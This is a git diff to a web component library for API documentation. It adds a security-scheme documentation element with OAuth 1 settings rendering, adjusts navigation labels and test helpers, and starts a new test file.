--- a/demo/model.mjs
+++ b/demo/model.mjs
@@ -9,6 +9,7 @@ config.set('amf-helper-api/amf-helper-api.raml', { type: "RAML 1.0" });
 config.set('arc-demo-api/arc-demo-api.raml', { type: "RAML 1.0" });
 config.set('navigation-api/navigation-api.raml', { type: "RAML 1.0" });
 config.set('schema-api/schema-api.raml', { type: "RAML 1.0" });
+config.set('security-api/security-api.raml', { type: "RAML 1.0" });
 config.set('array-body/array-body.raml', { type: "RAML 1.0" });
 config.set('google-drive-api/google-drive-api.raml', { type: "RAML 1.0" });
 config.set('appian-api/appian-api.raml', { type: "RAML 1.0" });
diff --git a/index.d.ts b/index.d.ts
index ce23803..fe9c810 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -18,6 +18,8 @@ export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuth
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement';
 export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement';
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement';
+export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement';
+export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement';
 export * from './src/events/EventTypes';
 export * from './src/events/Events';
 export * as InputCache from './src/lib/InputCache';
diff --git a/index.js b/index.js
index 3bd77cb..a6c7772 100644
--- a/index.js
+++ b/index.js
@@ -18,6 +18,8 @@ export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuth
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement.js';
 export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement.js';
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement.js';
+export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement.js';
+export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement.js';
 export * from './src/events/EventTypes.js';
 export * from './src/events/Events.js';
 export * as InputCache from './src/lib/InputCache.js';
diff --git a/src/elements/ApiNavigationElement.js b/src/elements/ApiNavigationElement.js
index 5fa82be..287cb66 100644
--- a/src/elements/ApiNavigationElement.js
+++ b/src/elements/ApiNavigationElement.js
@@ -906,18 +906,21 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
   [appendSecurityItem](item, target) {
     const voc = this.ns.aml.vocabularies;
     let name = this._getValue(item, voc.core.displayName);
+    const secType = /** @type string */ (this._getValue(item, voc.security.type));
+    if (!secType) {
+      // this is a case when the security scheme is referenced from a library.
+      // This creates an entry in the graph model but there is no actual definition of the 
+      // security.
+      // The definition will be discovered when scanning references.
+      return;
+    }
     if (!name) {
       name = this._getValue(item, voc.security.name);
     }
     if (!name) {
-      const apiName = this._getValue(item, voc.core.name);
-      const secType = /** @type string */ (this._getValue(item, voc.security.type));
-      let result = '';
-      if (apiName) {
-        result = `${apiName} - `;
-      }
-      name = result + mapAuthName(secType);
+      name = this._getValue(item, voc.core.name);
     }
+    name = `${name || ''} - ${mapAuthName(secType)}`
     const id = item['@id'];
     target.securitySchemes.push({
       label: String(name),
@@ -1924,6 +1927,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
     if (this.noOverview) {
       return '';
     }
+    const style = /** @type string */ (this[computeMethodPadding](item.indent, this.indentSize));
     return html`
     <div
       part="api-navigation-list-item"
@@ -1934,7 +1938,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
       data-shape="resource"
       data-endpoint-overview="${item.path}"
       @click="${this[itemClickHandler]}"
-      style="${this[computeMethodPadding](item.indent, this.indentSize)}"
+      style="${style}"
     >
       Overview
     </div>`
diff --git a/src/elements/ApiSecurityDocumentElement.d.ts b/src/elements/ApiSecurityDocumentElement.d.ts
new file mode 100644
index 0000000..d0e009c
--- /dev/null
+++ b/src/elements/ApiSecurityDocumentElement.d.ts
@@ -0,0 +1,247 @@
+import { TemplateResult } from 'lit-element';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { ApiSecurityScope, ApiSecurityOAuth2Flow, ApiSecurityOAuth1Settings, ApiSecurityOAuth2Settings, ApiSecurityScheme, ApiSecurityRequirement, ApiSecurityApiKeySettings, ApiSecurityOpenIdConnectSettings, ApiResponse } from '../helpers/api';
+import { DomainElement, SecurityScheme, SecurityRequirement } from '../helpers/amf';
+
+export const querySecurity: unique symbol;
+export const processSecurity: unique symbol;
+export const securityValue: unique symbol;
+export const titleTemplate: unique symbol;
+export const queryParamsTemplate: unique symbol;
+export const headersTemplate: unique symbol;
+export const responsesValue: unique symbol;
+export const preselectResponse: unique symbol;
+export const responseContentTemplate: unique symbol;
+export const responseTabsTemplate: unique symbol;
+export const responseTemplate: unique symbol;
+export const statusCodeHandler: unique symbol;
+export const settingsTemplate: unique symbol;
+export const apiKeySettingsTemplate: unique symbol;
+export const openIdConnectSettingsTemplate: unique symbol;
+export const oAuth2SettingsTemplate: unique symbol;
+export const apiKeyHeaderExample: unique symbol;
+export const apiKeyCookieExample: unique symbol;
+export const apiKeyQueryExample: unique symbol;
+export const exampleTemplate: unique symbol;
+export const oAuth2FlowsTemplate: unique symbol;
+export const oAuth2GrantsTemplate: unique symbol;
+export const oAuth2FlowTemplate: unique symbol;
+export const getLabelForGrant: unique symbol;
+export const accessTokenUriTemplate: unique symbol;
+export const authorizationUriTemplate: unique symbol;
+export const refreshUriTemplate: unique symbol;
+export const scopesTemplate: unique symbol;
+export const scopeTemplate: unique symbol;
+export const grantTitleTemplate: unique symbol;
+export const setModel: unique symbol;
+export const computeReferenceSecurity: unique symbol;
+export const oAuth1SettingsTemplate: unique symbol;
+export const tokenCredentialsUriTemplate: unique symbol;
+export const signaturesTemplate: unique symbol;
+
+/**
+ * A web component that renders the documentation page for an API response object.
+ */
+export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
+  
+  /** 
+   * When set it opens the parameters section
+   * @attribute
+   */
+  parametersOpened: boolean;
+  /** 
+   * When set it opens the headers section
+   * @attribute
+   */
+  headersOpened: boolean;
+  /** 
+   * When set it opens the response section
+   * @attribute
+   */
+  responsesOpened: boolean;
+  /** 
+   * When set it opens the settings section
+   * @attribute
+   */
+  settingsOpened: boolean;
+  /** 
+   * The selected status code in the responses section.
+   * @attribute
+   */
+  selectedStatus: string;
+  get securityScheme(): ApiSecurityScheme|undefined;
+  set securityScheme(value: ApiSecurityScheme);
+  [securityValue]: ApiSecurityScheme;
+  [responsesValue]: ApiResponse[];
+  domainModel: SecurityScheme;
+  constructor();
+  processGraph(): Promise<void>;
+
+  /**
+   * Computes a security model from a reference (library for example).
+   * @param reference AMF model for a reference to extract the data from
+   * @param selected Node ID to look for
+   * @returns Type definition or undefined if not found.
+   */
+  [computeReferenceSecurity](reference: DomainElement, selected: string): SecurityRequirement;
+
+  [setModel](model: SecurityScheme): void;
+
+  [processSecurity](): Promise<void>;
+  /**
+   * Updates the `selectedStatus` if not selected or the current selection doesn't 
+   * exists in the current list of responses.
+   */
+  [preselectResponse](): void;
+
+  /**
+   * A handler for the status code tab selection.
+   */
+  [statusCodeHandler](e: Event): void;
+
+  /**
+   * @param grant The oauth2 grant (flow) name
+   * @returns Friendly name for the grant.
+   */
+  [getLabelForGrant](grant: string): string;
+
+  render(): TemplateResult;
+
+  [titleTemplate](): TemplateResult|string;
+
+  /**
+   * @return The template for the query parameters
+   */
+  [queryParamsTemplate](): TemplateResult|string;
+
+  /**
+   * @return The template for the headers
+   */
+  [headersTemplate](): TemplateResult|string;
+
+  [responseTemplate](): TemplateResult|string;
+
+  /**
+   * @param responses The responses to render.
+   * @returns The template for the responses selector.
+   */
+  [responseTabsTemplate](responses: ApiResponse[]): TemplateResult|string;
+
+  /**
+   * @param responses The responses to render.
+   * @returns The template for the currently selected response.
+   */
+  [responseContentTemplate](responses: ApiResponse[]): TemplateResult|string;
+
+  /**
+   * @returns The template for the security settings, when required.
+   */
+  [settingsTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for API Key security definition.
+   */
+  [apiKeySettingsTemplate](settings: ApiSecurityApiKeySettings): TemplateResult|string;
+
+  /**
+   * @param name The name of the API Key parameter
+   * @returns The template for API Key header example
+   */
+  [apiKeyHeaderExample](name: string): TemplateResult|string;
+
+  /**
+   * @param name The name of the API Key parameter
+   * @returns The template for API Key cookie example
+   */
+  [apiKeyCookieExample](name: string): TemplateResult|string;
+
+  /**
+   * @param name The name of the API Key parameter
+   * @returns The template for API Key query parameter example
+   */
+  [apiKeyQueryExample](name: string): TemplateResult|string;
+
+  /**
+   * @returns The template for a single example
+   */
+  [exampleTemplate](value: string): TemplateResult|string;
+
+  /**
+   * @returns The template for API Key security definition.
+   */
+  [openIdConnectSettingsTemplate](settings: ApiSecurityOpenIdConnectSettings): TemplateResult|string;
+
+  /**
+   * @param {ApiSecurityOAuth2Settings} settings
+   * @returns The template for OAuth 2 security definition.
+   */
+  [oAuth2SettingsTemplate](settings: ApiSecurityOAuth2Settings): TemplateResult|string;
+
+  /**
+   * @returns The template for OAuth 2 flows list.
+   */
+  [oAuth2GrantsTemplate](grants: string[]): TemplateResult|string;
+
+  /**
+   * @returns The template for OAuth 2 flows list.
+   */
+  [oAuth2FlowsTemplate](flows: ApiSecurityOAuth2Flow[]): TemplateResult|string;
+
+  /**
+   * @returns The template for an OAuth 2 flow.
+   */
+  [oAuth2FlowTemplate](flow: ApiSecurityOAuth2Flow): TemplateResult|string;
+
+  /**
+   * @param grant The grant name
+   * @returns The template for OAuth 2 grant title.
+   */
+  [grantTitleTemplate](grant: string): TemplateResult|string;
+
+  /**
+   * @param uri The access token URI
+   * @returns The template for the access token URI
+   */
+  [accessTokenUriTemplate](uri: string): TemplateResult|string;
+
+  /**
+   * @param uri The access token URI
+   * @returns The template for the authorization endpoint URI
+   */
+  [authorizationUriTemplate](uri: string): TemplateResult|string;
+
+  /**
+   * @param uri The access token URI
+   * @returns The template for the refresh token endpoint URI
+   */
+  [refreshUriTemplate](uri: string): TemplateResult|string;
+
+  /**
+   * @param scopes The oauth scopes
+   * @returns The template for the scopes list
+   */
+  [scopesTemplate](scopes: ApiSecurityScope[]): TemplateResult|string;
+
+  /**
+   * @param scope The scope definition.
+   * @returns The template for an oauth scope
+   */
+  [scopeTemplate](scope: ApiSecurityScope): TemplateResult|string;
+
+  /**
+   * @returns The template for OAuth 1 security definition.
+   */
+  [oAuth1SettingsTemplate](settings: ApiSecurityOAuth1Settings): TemplateResult|string;
+
+  /**
+   * @param uri The token credentials URI
+   * @returns The template for the token credentials URI
+   */
+  [tokenCredentialsUriTemplate](uri: string): TemplateResult|string;
+
+  /**
+   * @param signatures The OAuth1 signatures.
+   * @returns The template for the OAuth1 signatures.
+   */
+  [signaturesTemplate](signatures: string[]): TemplateResult|string;
+}
diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js
index 21b2969..3beb14f 100644
--- a/src/elements/ApiSecurityDocumentElement.js
+++ b/src/elements/ApiSecurityDocumentElement.js
@@ -25,11 +25,13 @@ import '../../api-response-document.js'
 /** @typedef {import('../helpers/api').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */
 /** @typedef {import('../helpers/api').ApiSecurityOpenIdConnectSettings} ApiSecurityOpenIdConnectSettings */
 /** @typedef {import('../helpers/api').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
+/** @typedef {import('../helpers/api').ApiSecurityOAuth1Settings} ApiSecurityOAuth1Settings */
 /** @typedef {import('../helpers/api').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */
 /** @typedef {import('../helpers/api').ApiSecurityScope} ApiSecurityScope */
 /** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
 /** @typedef {import('../helpers/amf').SecurityScheme} SecurityScheme */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../helpers/amf').SecurityRequirement} SecurityRequirement */
 /** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */
 
 export const querySecurity = Symbol('querySecurity');
@@ -64,6 +66,9 @@ export const scopeTemplate = Symbol('scopeTemplate');
 export const grantTitleTemplate = Symbol('grantTitleTemplate');
 export const setModel = Symbol('setModel');
 export const computeReferenceSecurity = Symbol('computeReferenceSecurity');
+export const oAuth1SettingsTemplate = Symbol('oAuth1SettingsTemplate');
+export const tokenCredentialsUriTemplate = Symbol('tokenCredentialsUriTemplate');
+export const signaturesTemplate = Symbol('signaturesTemplate');
 
 /**
  * A web component that renders the documentation page for an API response object.
@@ -182,7 +187,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
    * Computes a security model from a reference (library for example).
    * @param {DomainElement} reference AMF model for a reference to extract the data from
    * @param {string} selected Node ID to look for
-   * @return {any|undefined} Type definition or undefined if not found.
+   * @return {SecurityRequirement|undefined} Type definition or undefined if not found.
    */
   [computeReferenceSecurity](reference, selected) {
     const declare = this._computeDeclares(reference);
@@ -314,7 +319,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     if (!Array.isArray(scheme.queryParameters) || !scheme.queryParameters.length) {
       return '';
     }
-    const content = scheme.queryParameters.map((param) => this[schemaItemTemplate](param));
+    const content = scheme.queryParameters.map((param) => this[schemaItemTemplate](param, 'query'));
     return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content);
   }
 
@@ -326,7 +331,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     if (!Array.isArray(scheme.headers) || !scheme.headers.length) {
       return '';
     }
-    const content = scheme.headers.map((param) => this[schemaItemTemplate](param));
+    const content = scheme.headers.map((param) => this[schemaItemTemplate](param, 'header'));
     return this[paramsSectionTemplate]('Headers', 'headersOpened', content);
   }
 
@@ -399,6 +404,9 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     if (types.includes(ns.aml.vocabularies.security.OAuth2Settings)) {
       return this[oAuth2SettingsTemplate](/** @type ApiSecurityOAuth2Settings */ (settings));
     }
+    if (types.includes(ns.aml.vocabularies.security.OAuth1Settings)) {
+      return this[oAuth1SettingsTemplate](/** @type ApiSecurityOAuth1Settings */ (settings));
+    }
     return '';
   }
 
@@ -644,4 +652,57 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     </li>
     `;
   }
+
+  /**
+   * @param {ApiSecurityOAuth1Settings} settings
+   * @returns {TemplateResult|string} The template for OAuth 1 security definition.
+   */
+  [oAuth1SettingsTemplate](settings) {
+    const { signatures=[], authorizationUri, requestTokenUri, tokenCredentialsUri } = settings;
+    const content = /** @type TemplateResult[] */ ([]);
+    if (authorizationUri) {
+      content.push(/** @type TemplateResult */ (this[authorizationUriTemplate](authorizationUri)));
+    }
+    if (requestTokenUri) {
+      content.push(/** @type TemplateResult */ (this[accessTokenUriTemplate](requestTokenUri)));
+    }
+    if (tokenCredentialsUri) {
+      content.push(/** @type TemplateResult */ (this[tokenCredentialsUriTemplate](tokenCredentialsUri)));
+    }
+    if (signatures.length) {
+      content.push(this[signaturesTemplate](signatures));
+    }
+    return this[paramsSectionTemplate]('Settings', 'settingsOpened', content);
+  }
+
+  /**
+   * @param {string} uri The token credentials URI
+   * @returns {TemplateResult|string} The template for the token credentials URI
+   */
+  [tokenCredentialsUriTemplate](uri) {
+    if (!uri) {
+      return '';
+    }
+    return html`
+    <div class="flow-section">
+      <h5 data-type="token-credentials-uri" class="value-title">Token credentials URI</h5>
+      <div class="example-content">
+        <pre class="code-value"><code>${uri}</code></pre>
+      </div>
+    </div>`;
+  }
+
+  /**
+   * @param {string[]} signatures The OAuth1 signatures.
+   * @returns {TemplateResult} The template for the OAuth1 signatures.
+   */
+  [signaturesTemplate](signatures) {
+    return html`
+    <div class="flow-section">
+      <h5 data-type="signatures" class="value-title">Supported signatures</h5>
+      <ul>
+      ${signatures.map((item) => html`<li><pre class="code-value"><code>${item}</code></pre></li>`)}
+      </ul>
+    </div>`;
+  }
 }
diff --git a/src/lib/auth-ui/OAuth2Auth.js b/src/lib/auth-ui/OAuth2Auth.js
index 15f9570..35ae2cb 100644
--- a/src/lib/auth-ui/OAuth2Auth.js
+++ b/src/lib/auth-ui/OAuth2Auth.js
@@ -31,6 +31,7 @@ const gtValue = Symbol("gtValue");
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2CustomParameter} OAuth2CustomParameter */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.Oauth2GrantType} Oauth2GrantType */
+/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2DeliveryMethod} OAuth2DeliveryMethod */
 /** @typedef {import('../../types').OperationParameter} OperationParameter */
 
 export default class OAuth2Auth extends AmfParameterMixin(Oauth2) {
@@ -172,6 +173,9 @@ export default class OAuth2Auth extends AmfParameterMixin(Oauth2) {
     if (this.oauthDeliveryMethod !== info.method) {
       this.oauthDeliveryMethod = info.method;
     }
+    if (this.ccDeliveryMethod !== info.method) {
+      this.ccDeliveryMethod = /** @type OAuth2DeliveryMethod */ (info.method);
+    }
     if (this.oauthDeliveryName !== info.name) {
       this.oauthDeliveryName = info.name;
     }
diff --git a/test/AmfLoader.js b/test/AmfLoader.js
index c13d9d5..46bd545 100644
--- a/test/AmfLoader.js
+++ b/test/AmfLoader.js
@@ -192,17 +192,19 @@ export class AmfLoader extends AmfHelperMixin(Object) {
    */
   lookupSecurity(model, name) {
     this.amf = model;
-    const webApi = this._hasType(model, this.ns.aml.vocabularies.document.Document) ?
-      this._computeApi(model) :
-      model;
-    const declares = this._computeDeclares(webApi) || [];
+    // const webApi = this._hasType(model, this.ns.aml.vocabularies.document.Document) ?
+    //   this._computeApi(model) :
+    //   model;
+    const declares = this._computeDeclares(model) || [];
     let security = declares.find((item) => {
       if (Array.isArray(item)) {
         [item] = item;
       }
-      const result = this._getValue(item, this.ns.aml.vocabularies.core.name) === name;
-      if (result) {
-        return result;
+      if (this._getValue(item, this.ns.aml.vocabularies.core.displayName) === name) {
+        return true;
+      }
+      if (this._getValue(item, this.ns.aml.vocabularies.core.name) === name) {
+        return true;
       }
       return this._getValue(item, this.ns.aml.vocabularies.security.name) === name;
     });
diff --git a/test/authorization/ApiAuthorizationEditorElement.raml.test.js b/test/authorization/ApiAuthorizationEditorElement.raml.test.js
index 10f131e..60d9639 100644
--- a/test/authorization/ApiAuthorizationEditorElement.raml.test.js
+++ b/test/authorization/ApiAuthorizationEditorElement.raml.test.js
@@ -443,7 +443,7 @@ describe('ApiAuthorizationEditorElement', () => {
         });
 
         it('marks invalid when no token', async () => {
-          const security = await getSecurityRequirement(model, '/oauth2', 'post');
+          const security = getSecurityRequirement(model, '/oauth2', 'post');
           const element = await basicFixture(model, security);
 
           const form = element.shadowRoot.querySelector('api-authorization-method');
@@ -458,7 +458,7 @@ describe('ApiAuthorizationEditorElement', () => {
         });
 
         it('respects delivery method (query)', async () => {
-          const security = await getSecurityRequirement(model, '/oauth2-query-delivery', 'get');
+          const security = getSecurityRequirement(model, '/oauth2-query-delivery', 'get');
           const element = await basicFixture(model, security);
 
           const form = element.shadowRoot.querySelector('api-authorization-method');
@@ -476,7 +476,7 @@ describe('ApiAuthorizationEditorElement', () => {
         });
 
         it('respects delivery method (header)', async () => {
-          const security = await getSecurityRequirement(model, '/oauth2-header-delivery', 'get');
+          const security = getSecurityRequirement(model, '/oauth2-header-delivery', 'get');
           const element = await basicFixture(model, security);
 
           const form = element.shadowRoot.querySelector('api-authorization-method');
@@ -494,7 +494,7 @@ describe('ApiAuthorizationEditorElement', () => {
         });
 
         it('uses default delivery', async () => {
-          const security = await getSecurityRequirement(model, '/oauth2-no-delivery', 'get');
+          const security = getSecurityRequirement(model, '/oauth2-no-delivery', 'get');
           const element = await basicFixture(model, security);
 
           const form = element.shadowRoot.querySelector('api-authorization-method');
diff --git a/test/authorization/OAuth2Method.test.js b/test/authorization/OAuth2Method.test.js
index 23fde42..5ceeb72 100644
--- a/test/authorization/OAuth2Method.test.js
+++ b/test/authorization/OAuth2Method.test.js
@@ -83,38 +83,38 @@ describe('OAuth 2', () => {
     });
 
     it('selects first available grant type', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2-with-grant-list', 'get');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2-with-grant-list', 'get');
       const element = await methodFixture(model, scheme);
       assert.equal(element.grantType, 'authorization_code');
     });
 
     it('sets authorizationUri', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2', 'post');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2', 'post');
       const element = await methodFixture(model, scheme);
       assert.equal(element.authorizationUri, 'https://auth.com');
     });
 
     it('sets accessTokenUri', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2', 'post');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2', 'post');
       const element = await methodFixture(model, scheme);
       assert.equal(element.accessTokenUri, 'https://token.com');
     });
 
     it('sets scopes', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2', 'post');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2', 'post');
       const element = await methodFixture(model, scheme);
       assert.deepEqual(element.scopes, ['profile', 'email']);
     });
 
     it('automatically hides advanced properties when filled', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2', 'post');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2', 'post');
       const element = await methodFixture(model, scheme);
       const node = element.shadowRoot.querySelector('.advanced-section');
       assert.isTrue(node.hasAttribute('hidden'));
     });
 
     it('should not show pkce checkbox if selected grant type is not authorization_code', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2', 'post');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2', 'post');
       const element = await methodFixture(model, scheme);
       /* Default grant type selected is Access Token for this endpoint */
       /* Check it just in case */
@@ -127,7 +127,7 @@ describe('OAuth 2', () => {
     });
 
     it('should show pkce checkbox unchecked by default in advanced settings with authorization_code selected', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2', 'post');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2', 'post');
       const element = await methodFixture(model, scheme);
       element.grantType = 'authorization_code';
       const node = /** @type HTMLInputElement */ (element.shadowRoot.querySelector('.adv-toggle anypoint-switch'));
@@ -141,28 +141,28 @@ describe('OAuth 2', () => {
     const customSelector = '[data-binding="authQuery"],[data-binding="tokenQuery"],[data-binding="tokenHeader"],[data-binding="tokenBody"]';
 
     it('does not render annotation inputs when are not defined', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2', 'post');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2', 'post');
       const element = await methodFixture(model, scheme);
       const node = element.shadowRoot.querySelector(customSelector);
       assert.notOk(node);
     });
 
     it('renders annotation inputs when defined', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2-with-annotations', 'get');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2-with-annotations', 'get');
       const element = await methodFixture(model, scheme);
       const nodes = element.shadowRoot.querySelectorAll(customSelector);
       assert.lengthOf(nodes, 8);
     });
 
     it('sets oauthDeliveryMethod to header when available', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2-header-delivery', 'get');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2-header-delivery', 'get');
       const element = await methodFixture(model, scheme);
       assert.equal(element.oauthDeliveryMethod, 'header');
-      assert.equal(element.oauthDeliveryName, 'token');
+      assert.equal(element.oauthDeliveryName, 'authorization');
     });
 
     it('sets oauthDeliveryMethod to query when available', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2-query-delivery', 'get');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2-query-delivery', 'get');
       const element = await methodFixture(model, scheme);
 
       assert.equal(element.oauthDeliveryMethod, 'query');
@@ -170,7 +170,7 @@ describe('OAuth 2', () => {
     });
 
     it('sets default oauthDeliveryMethod', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2-no-delivery', 'get');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2-no-delivery', 'get');
       const element = await methodFixture(model, scheme);
 
       assert.equal(element.oauthDeliveryMethod, 'header');
@@ -178,7 +178,7 @@ describe('OAuth 2', () => {
     });
 
     it('resets state when incompatible settings', async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/basic', 'get');
+      const scheme = getApiParametrizedSecurityScheme('/basic', 'get');
       const element = await methodFixture(model, scheme);
       assert.deepEqual(element.grantTypes, oauth2GrantTypes, 'grant types are set');
       assert.equal(element.oauthDeliveryMethod, 'header', 'oauthDeliveryMethod is set');
@@ -191,7 +191,7 @@ describe('OAuth 2', () => {
     let element;
 
     beforeEach(async () => {
-      const scheme = await getApiParametrizedSecurityScheme('/oauth2-with-annotations', 'get');
+      const scheme = getApiParametrizedSecurityScheme('/oauth2-with-annotations', 'get');
       element = await methodFixture(model, scheme);
       element.grantType = 'authorization_code';
       await nextFrame();
diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js
index 956d827..8d05f36 100644
--- a/test/elements/ApiOperationDocumentElement.test.js
+++ b/test/elements/ApiOperationDocumentElement.test.js
@@ -256,7 +256,11 @@ describe('ApiOperationDocumentElement', () => {
           assert.notOk(section, 'has no url section');
         });
 
-        it('renders the traits', async () => {
+        //
+        // These tests are skipped because AMF apparently removes this information from 
+        // a valid model.
+        // 
+        it.skip('renders the traits', async () => {
           const data = loader.lookupOperation(demoModel, '/people', 'get');
           const element = await asyncFixture(demoModel, data);
           const section = element.shadowRoot.querySelector('.extensions');
diff --git a/test/elements/ApiResourceDocumentElement.test.js b/test/elements/ApiResourceDocumentElement.test.js
index 573d821..5302a03 100644
--- a/test/elements/ApiResourceDocumentElement.test.js
+++ b/test/elements/ApiResourceDocumentElement.test.js
@@ -166,7 +166,11 @@ describe('ApiResourceDocumentElement', () => {
       });
     });
 
-    describe('Extensions rendering', () => {
+    //
+    // These tests are skipped because AMF apparently removes this information from 
+    // a valid model.
+    // 
+    describe.skip('Extensions rendering', () => {
       it('renders resource type extension', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people/{personId}');
         const element = await basicFixture(demoModel, data['@id']);
diff --git a/test/elements/ApiSecurityDocumentElement.test.js b/test/elements/ApiSecurityDocumentElement.test.js
new file mode 100644
index 0000000..22bde68
--- /dev/null
+++ b/test/elements/ApiSecurityDocumentElement.test.js
@@ -0,0 +1,660 @@
+import { fixture, assert, html, aTimeout } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-security-document.js';
+import { securityValue } from '../../src/elements/ApiSecurityDocumentElement.js';
+
+/** @typedef {import('../../').ApiSecurityDocumentElement} ApiSecurityDocumentElement */
+/** @typedef {import('../../').ApiParameterDocumentElement} ApiParameterDocumentElement */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').SecurityRequirement} SecurityRequirement */
+
+describe('ApiSecurityDocumentElement', () => {
+  const loader = new AmfLoader();
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {DomainElement=} shape
+   * @returns {Promise<ApiSecurityDocumentElement>}
+   */
+  async function amfModelFixture(amf, shape) {
+    const element = await fixture(html`<api-security-document 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .domainModel="${shape}"
+    ></api-security-document>`);
+    await aTimeout(0);
+    return /** @type ApiSecurityDocumentElement */ (element);
+  }
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {string=} domainId
+   * @returns {Promise<ApiSecurityDocumentElement>}
+   */
+  async function domainIdFixture(amf, domainId) {
+    const element = await fixture(html`<api-security-document 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .domainId="${domainId}"
+    ></api-security-document>`);
+    await aTimeout(0);
+    return /** @type ApiSecurityDocumentElement */ (element);
+  }
+
+  [false].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      describe('Basic auth', () => {
+        /** @type AmfDocument */
+        let model;
+        /** @type SecurityRequirement */
+        let security;
+        before(async () => {
+          model = await loader.getGraph(compact, 'security-api');
+          security = loader.lookupSecurity(model, 'basic');
+          assert.ok(security, 'has the basic security');
+        });
+
+        describe('Schema rendering', () => {
+          it('computes the [securityValue] from the passed AMF model', async () => {
+            const element = await amfModelFixture(model, security);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('computes the [securityValue] from the passed domain id', async () => {
+            const element = await domainIdFixture(model, security['@id']);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('renders the title', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .label');
+            assert.dom.equal(node, '<span class="label">basic</span>');
+          });
+
+          it('renders the sub-header', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .sub-header');
+            assert.dom.equal(node, '<p class="sub-header">Basic Authentication</p>');
+          });
+
+          it('renders the description', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.api-description arc-marked');
+            assert.ok(node, 'has the documentation node');
+          });
+
+          it('renders the header', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('api-parameter-document');
+            assert.lengthOf(nodes, 1, 'has a single header');
+            assert.equal(nodes[0].parameter.name, 'Authorization', 'has the parameter definition');
+          });
+
